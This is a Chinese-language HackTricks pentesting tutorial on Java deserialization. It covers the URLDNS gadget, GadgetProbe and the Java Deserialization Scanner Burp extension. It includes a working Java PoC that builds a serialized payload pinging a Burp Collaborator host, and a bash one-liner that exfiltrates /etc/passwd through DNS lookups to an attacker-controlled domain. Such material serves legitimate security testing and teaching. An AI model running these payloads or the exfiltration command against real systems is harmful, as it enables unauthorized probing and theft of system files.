hacktricks/src/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md

188 lines
8.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Java DNS 反序列化GadgetProbe 和 Java 反序列化扫描器
{{#include ../../banners/hacktricks-training.md}}
## 反序列化中的 DNS 请求
`java.net.URL` 实现了 `Serializable`,这意味着该类可以被序列化。
```java
public final class URL implements java.io.Serializable {
```
这个类有一个**奇怪的行为**。根据文档:“**如果两个主机名可以解析为相同的IP地址则这两个主机被视为等效**”。\
因此每当一个URL对象调用**任何**的**函数`equals`**或**`hashCode`**时,都会**发送**一个**DNS请求**以获取IP地址。
**从**一个**URL**对象调用**`hashCode`**函数非常简单,只需将该对象插入到一个将要被反序列化的`HashMap`中即可。这是因为在`HashMap`的**`readObject`**函数的**最后**,会执行以下代码:
```java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
```
它将**执行** `putVal`,使用 `HashMap` 中的每个值。但更相关的是对每个值的 `hash` 调用。以下是 `hash` 函数的代码:
```java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
```
如您所见,**在反序列化**一个**`HashMap`**时,函数`hash`将**对每个对象执行**,并且**在**`hash`执行期间**将执行对象的`.hashCode()`。因此,如果您**反序列化**一个**包含**URL对象的**`HashMap`**,则**URL对象**将**执行**`.hashCode()`
现在,让我们来看一下`URLObject.hashCode()`的代码:
```java
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
```
如您所见,当 `URLObject` 执行 `.hashCode()` 时,它被称为 `hashCode(this)`。接下来,您可以看到此函数的代码:
```java
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
```
您可以看到对域名执行了 `getHostAddress`**发起了 DNS 查询**。
因此,这个类可以被**滥用**以**发起**一个**DNS 查询**来**证明****反序列化**是可能的,甚至可以**外泄信息**(您可以将命令执行的输出作为子域名附加)。
### URLDNS 负载代码示例
您可以在 [URDNS 负载代码来自 ysoserial 这里](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)。但是,为了更容易理解如何编码,我创建了自己的 PoC基于 ysoserial 的那个):
```java
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
```
### 更多信息
- [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
- 在最初的想法中commons collections 负载被更改为执行 DNS 查询,这比提议的方法不太可靠,但这是帖子:[https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
## GadgetProbe
您可以从 Burp Suite 应用商店Extender下载 [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe)。
**GadgetProbe** 将尝试确定服务器的 Java 类中是否存在某些 **Java 类**,以便您可以知道 **是否****易受** 某些已知漏洞的攻击。
### 它是如何工作的
**GadgetProbe** 将使用上一节的 **DNS 负载**,但在运行 DNS 查询之前,它将 **尝试反序列化一个任意类**。如果 **任意类存在**,则 **DNS 查询** 将被 **发送**GadgetProbe 将记录该类存在。如果 **DNS** 请求 **从未发送**,这意味着 **任意类未成功反序列化**,因此它要么不存在,要么 **不可序列化/不可利用**
在 GitHub 中,[**GadgetProbe 有一些字典**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) 用于测试的 Java 类。
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../images/intruder4 (1) (1).gif>)
### 更多信息
- [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
## Java 反序列化扫描仪
此扫描仪可以从 Burp 应用商店(**Extender****下载**。\
**扩展** 具有 **被动****主动** **功能**
### 被动
默认情况下,它会 **被动检查** 所有请求和响应,**寻找** **Java 序列化魔术字节**,如果发现任何内容,将呈现漏洞警告:
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../images/image (765).png>)
### 主动
**手动测试**
您可以选择一个请求,右键单击并 `Send request to DS - Manual Testing`。\
然后,在 _Deserialization Scanner Tab_ --> _Manual testing tab_ 中,您可以选择 **插入点**。并 **启动测试**(根据使用的编码选择适当的攻击)。
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/3-1.png)
即使这被称为“手动测试”,它也相当 **自动化**。它将自动检查 **反序列化** 是否 **易受** **任何 ysoserial 负载** 的攻击,检查 Web 服务器上存在的库,并突出显示易受攻击的库。为了 **检查** **易受攻击的库**,您可以选择启动 **Javas Sleeps**、通过 **CPU** 消耗的 **sleeps**,或使用 **DNS**,正如之前提到的那样。
**利用**
一旦您识别出一个易受攻击的库,您可以将请求发送到 _Exploiting Tab_。\
在此选项卡中,您必须再次 **选择** **注入点**,并 **写入** 您想要为其创建负载的 **易受攻击库****命令**。然后,只需按下适当的 **攻击** 按钮。
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../images/4.png)
### Java 反序列化 DNS 外泄信息
使您的负载执行类似以下内容:
```bash
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
```
### 更多信息
- [https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/)
{{#include ../../banners/hacktricks-training.md}}